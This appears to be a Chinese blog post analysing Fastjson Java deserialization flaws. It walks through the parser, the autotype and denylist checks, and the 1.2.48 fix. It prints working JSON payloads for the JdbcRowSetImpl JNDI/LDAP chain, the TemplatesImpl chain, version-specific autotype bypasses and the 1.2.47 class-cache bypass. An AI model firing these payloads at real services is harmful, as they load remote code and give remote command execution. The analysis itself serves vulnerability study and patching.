java安全之fastjson链分析

前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化洞:

  • 1.2.22<=version<=1.2.24

  • 1.2.25<=version<=1.2.47

简述与使用

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

本文涉及相关实验:Fastjson反序列化漏洞(fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)

项目地址:https://github.com/alibaba/fastjson

环境直接maven:

<dependencies>    ....    <dependency>      <groupId>com.alibaba</groupId>      <artifactId>fastjson</artifactId>      <version>1.2.22</version>    </dependency>  </dependencies>

首先是关于fastjson的序列化与反序列化过程中会调用到类的get跟set方法,一个自建类:

package org.example;

public class JsonTest {    private int _id;    private String _name;    private String _passwd;

    public JsonTest(int _id, String _name, String _passwd) {        this._id = _id;        this._name = _name;        this._passwd = _passwd;    }

    public JsonTest() {    }

    public int get_id() {        System.out.println("get "+_id);        return _id;    }

    public void set_id(int _id) {        System.out.println("set "+_id);        this._id = _id;    }

    public String get_name() {        System.out.println("get "+_name);        return _name;    }

    public void set_name(String _name) {        System.out.println("set "+_name);        this._name = _name;    }

    public String get_passwd() {        System.out.println("get "+_passwd);        return _passwd;    }

    public void set_passwd(String _passwd) {        System.out.println("set "+_passwd);        this._passwd = _passwd;    }

    @Override    public String toString() {        return "JsonTest{" +                "_id=" + _id +                ", _name='" + _name + '\'' +                ", _passwd='" + _passwd + '\'' +                '}';    }}

Main:

public static void main(String[] args) {  JsonTest jsonTest = new JsonTest(1,"uname","passwd");  System.out.println("[1]================");  String str = JSON.toJSONString(jsonTest);  System.out.println("[2]================");  System.out.println(str);  System.out.println("[3]================");  Object jsonTest1 = JSON.parseObject(str,JsonTest.class);  System.out.println("[4]================");  System.out.println(jsonTest1);

}

运行后得到了如下结果:

[1]================get 1get unameget passwd[2]================{"id":1,"name":"uname","passwd":"passwd"}[3]================set 1set unameset passwd[4]================JsonTest{_id=1, _name='uname', _passwd='passwd'}

很明显的在序列化时会调用类中各属性的get方法,而反序列化时会调用其set方法。

在上述反序列化过程中需要多添加一个class类的参数:JsonTest.class

而fastjson也提供了一种无需指定类的方式,称为autotype,而这种autotype正是导致反序列化漏洞的原因。

给序列化过程的函数指定第二个参数:

JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);

此时能够得到一个指定了type的json串:

{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}

再对其反序列化时就无需再指定对应的类了:

Object jsonTest1 = JSON.parseObject(str);System.out.println(jsonTest1);

当未对@type字段进行完全的安全性验证,攻击者可以传入危险类,从而调用危险类对目标机进行攻击,接下来分析一下其过程。

反序列化过程

先在JSON.parseObject处下个断点,跟入看看fastjson的反序列化过程。

首先进入到JSON.class中:

接着进入parse函数中:

public static Object parse(String text) {        return parse(text, DEFAULT_PARSER_FEATURE);    }

使用了默认的解析方式DEFAULT_PARSER_FEATURE去解析我们的json串,继续跟入:

public static Object parse(String text, int features) {        if (text == null) {            return null;        } else {            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);            Object value = parser.parse();            parser.handleResovleTask(value);            parser.close();            return value;        }    }

其构造器中有如下:

int ch = lexer.getCurrent();        if (ch == '{') {            lexer.next();            ((JSONLexerBase)lexer).token = 12;        } else if (ch == '[') {            lexer.next();            ((JSONLexerBase)lexer).token = 14;        } else {            lexer.nextToken();        }

其会根据对应的{[去设置token,之后通过scanSymbol来获取到@type,并且autotype它还支持如下形式嵌套的串:

[    {        "@type": "xxx.xxx",        "xxx": "xxx"    },    {        "@type": "xxx.xxx",        "xxx": {            "@type": ""        }    },    {        "@type": "xxx"    } : "xx",    {        "@type": "xxx"    } : "xx"]

其中对于字符串的还有如下对于双字节字符的处理:

\u或\x即是unicode或者16进制,而还有其他的如\v等,有师傅做了总结

\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\ 等,java字符串读入之后会变成两个字符,因此,fastjson会把它转换会单个字符\f \F双字符都会转成单字符\f\v双字符转成\u000B单字符\x..四字符16进制数读取转成单字符\u....六字符16进制数读取转成单字符

这一个点其实可以用在某些filter的绕过上。

继续上面的scan,获取到@type后会继续获取到其类名,最后赋值给typeName,此时会进一步调用TypeUtils.loadClass去加载类:

之后会从mappings中尝试取出class类(mappings中存放的是一些内置类):

如下,取不到后会去使用ClassLoader加载类并且将className和其class类put进mapping中。

接着进行反序列化:

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);thisObj = deserializer.deserialze(this, clazz, fieldName);return thisObj;

一路跟去会有一个denyList:

这一个list默认情况下只有一个Thread类:

this.denyList = new String[]{"java.lang.Thread"};

最后会去调用到set方法。

1.2.22-1.2.24

这个版本下有两条利用链:JdbcRowSetImpl和Templateslmpl,还有一条BasicDataSource,下面逐一分析。

JdbcRowSetImpl

首先该链有两种利用方式:RMI+JNDI和RMI+LDAP

其中我使用到的是jdk8u66,关于高版本的限制以及绕过方式可以参考:

https://www.freebuf.com/column/207439.html

前面说到反序列化会调用到set方法,而漏洞的产生正是因为set方法,直接拿payload打一下:

public static void main(String[] args) {  String payload = " {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";  JSON.parse(payload);}

直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点:

直接进入到else中直接将datasource设置为我们传入的值,再在setAutoCommit中下个断点:

同样进入else,关键在于这里的connect调用了lookup:

最后就造成了JNDI注入,LDAP同样如此,修改一下协议即可。

Templateslmpl

前面的链就不跟了,体力活,主要是了解其原理,具体可以看看:

https://www.cnblogs.com/afanti/p/10193158.html

https://xz.aliyun.com/t/8979#toc-6

payload我参考的是上面第二个链接,此处截取部分方便理解:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

默认的知道以下划线开头是private属性,通过fastjson其实是无法直接赋值的,需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值,因此这条链实际作用不大,不过分析一下锻炼一下代码审计能力。

首先是对于下划线的处理,在JavaBeanDeserializer#smartMatch中会处理掉下划线,之后去调用对应的set方法,bytecodes在最后会进行base64解码,并且bytecode是binary,fastjson中不支持反序列化此类字符串,因此这也是其为base64字符串的原因,而对于_outputProperties这一个属性比较特殊,它调用到的不是set方法而是get方法,因此我着重跟一下它。

因为在调用set方法时都是经过FieldDeserializer#setValue,因此在此处下个断点。

跟到下面调用到了getOutputProperties方法是通过invoke,之后就执行命令了:

但method的来源还需要追究一下。

经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化,而sortedFieldDeserializers正是获取到getOutputProperties的关键:

在createJavaBeanDeserializer中调用了JavaBeanInfo#build,一路debug能够发现获取一个set方法时是通过如下代码:

同样位于build函数下有一段获取getter的代码:

其中OutputProperties的getter就是从这里获取到,不过这还是无法解除关于为什么要获取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke调用getOutputProperties后,得到的是一个Map类,而随后会对map调用putAll:

Map map = (Map)method.invoke(object);if (map != null) {    map.putAll((Map)value);}

也就说如果一个json串:

{"@type": "xxx.xxx", "hhhm": {"key": "value"}}

会需要将{"key": "value"}放入hhhm中,因此需要先调用get来获取到这一个map以便于后续的赋值。

跟入getOutputProperties->newTransformer->defineTransletClasses,实例化了bytecodes,然后在:

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

经过一系列调用最后就到了TEMPOC中执行到RCE:

BasicDataSource

省赛遇到的一道题才知道原来还有这条链,先mark下:

http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/

该链只能用于Fastjson 1.2.24及更低版本,使用范围相较于前两条链而言较小,链接处文章写的也很详细,不做过多叙述。

1.2.25-1.2.45部分绕过

直接拿着原来的链打会发现报错,发现多了一个ParserConfig.checkAutoType方法,在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复:

//1.2.24Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());//1.2.25Class<?> clazz = config.checkAutoType(typeName);

autoTypeSupport默认修改为false:

需要通过如下方式开启:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

并且有一个denylist,来过滤掉前面用到的链中的类:

部分手动开启autoType的绕过链就不分析了,绕过的点也比较容易看出,具体看https://xz.aliyun.com/t/9052

这部分绕过个人感觉适用于ctf中,不做分析了,下面贴一下payload。

1.2.25-1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.45

需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

1.2.25-1.2.47

这条链是通杀的,比较厉害的是其不需要开启AutoTypeSupport,相对于上面提到的绕过而言利用面广泛的多,因此着重分析一下。

该链在<1.2.32之前,如果开启了AutoTypeSupport则无法利用,在>1.2.32后五轮是否开启都可以利用。

payload:

{    "a": {        "@type": "java.lang.Class",         "val": "com.sun.rowset.JdbcRowSetImpl"    },     "b": {        "@type": "com.sun.rowset.JdbcRowSetImpl",         "dataSourceName": "ldap://localhost:1389/Exploit",         "autoCommit": true    }}

前面提到在checkAutoType中有这么一个if:

if (this.autoTypeSupport || expectClass != null)

因为autoTypeSupport默认为false,所以if内的代码都跳过了,而这条链的利用也无需这一个if,跟到后面:

这里的deserializers.findClass比较关键:

此处的this.buckets会发现其内置了很多的类,如:

那么问题也就是出在这里,我们目前传入的类是java.lang.class,而该类正处于这一个buckets中,而deserializers中有一个put方法,正是这一个方法将类放入白名单中从而避过了autotype的限制。

偏一下话题,稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法:

白名单中的类都在此处。

比较好奇的是此处的class类的作用,在对class类进行反序列化时,其调用链如下:

deserializer#deserialze->TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())//strVal=com.sun.rowset.JdbcRowSetImpl->TypeUtils#loadClass(className, classLoader, true)//className=com.sun.rowset.JdbcRowSetImpl

此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过,其会尝试从mappings中取出类:

Class<?> clazz = (Class)mappings.get(className);

在取不到时会调用类加载器去加载类,此时就取到了com.sun.rowset.JdbcRowSetImpl

之后最致命的操作就是:

mappings.put(className, clazz);

com.sun.rowset.JdbcRowSetImpl这一个类放入了mappings中,而在加载b字典中的JdbcRowSetImpl类时,调用到的是:

他会直接从mappings中取类,而前面已经将JdbcRowSetImpl放入mappings中,此时达成了绕过autotype关闭的限制。

开发目的应该是为了程序运行效率,省去每次都需要去重新加载类的麻烦,但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。

而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false:

if (cache) {
  mappings.put(className, clazz);
}

此时就不会将class类装载进缓存中了。

(0)

相关推荐

  • 废弃fastjson!大型项目迁移Gson保姆级攻略

    前言 大家好,又双叒叕见面了,我是天天放大家鸽子的蛮三刀. 在被大家取关之前,我立下一个"远大的理想",一定要在这周更新文章.现在看来,flag有用了... 本篇文章是我这一个多月 ...

  • JAVA 中 Map 与实体类相互转换的简单方法

    JAVA 中 Map 与实体类相互转换的简单方法

  • JAVA多线程学习笔记整理

    多线程: 三种创建方法 继承Thread类,以线程运行内容重写run方法,创建Thread对象并用start方法启动该线程. (匿名内部类) (Lambda表达式) 实现Runable接口,以线程运行 ...

  • 为什么要选择学习Java?适合零基础的初学者的文章

    我经常收到这样的问题:"要学习的第一门编程语言是什么?" Java是一门好的编程语言吗?"和" Java是适合初学者的好的第一门编程语言,还是我应该从Java或 ...

  • Java高并发21-AQS在共享,独占场景下的源码介绍

    一.AQS--锁的底层支持 1.AQS是什么 AQS是AbstractQueuedSychronizer的简称,即抽象同步队列的简称,这是实现同步器的重要组件,是一个抽象类,虽然在实际工作中很烧用到它 ...

  • 价值链分析

    为什么有些公司的利润率超过竞争对手?一家公司如何获得与同行的竞争优势?这些问题的答案可以在价值链分析中找到答案. 价值链分析是查看将产品或服务的输入更改为客户重视的输出所涉及的活动的过程.公司通过查看 ...

  • Java基础之:泛型

    Java基础之:泛型 在不使用泛型的情况下,在ArrayList 中,添加3个Dog. Dog对象含有name 和 age, 并输出name 和 age (要求使用getXxx()). package ...

  • 2021最新 Java虚拟机(JVM)面试题精选(附刷题小程序)

    推荐使用小程序阅读 为了能让您更加方便的阅读 本文所有的面试题目均已整理至小程序<面试手册> 可以通过微信扫描(或长按)下图的二维码享受更好的阅读体验! 目录 推荐使用小程序阅读 1. J ...

  • 成为一名优秀的Java程序员9+难以置信的公式

    成为一名优秀的Java程序员 成为一名优秀的Java程序员并不重要,但是首先您应该了解基本的编程语言. 好吧,你知道那太好了.我们应该一步一步地精通Java编程,并应遵循所有说明,改进Java的编程逻 ...

  • Java异常处理(观察常见异常)

    一:观察异常 在一上一节我们讲解了常见的异常类型,这次可我们通过代码来观察这些异常是如何出现的. DEMO:算术异常   此时出现的是算术异常. DEMO:数组越界异常   发现了出现异常的之后的代码 ...

  • Azure上的Java:云原生身份验证

    API通常需要识别其调用方.它可以是调用API的Web应用程序,也可以是调用API的另一个API.识别API的调用者也称为身份验证.建立自己的身份验证框架可能很棘手.值得庆幸的是,不必建立自己的身份验 ...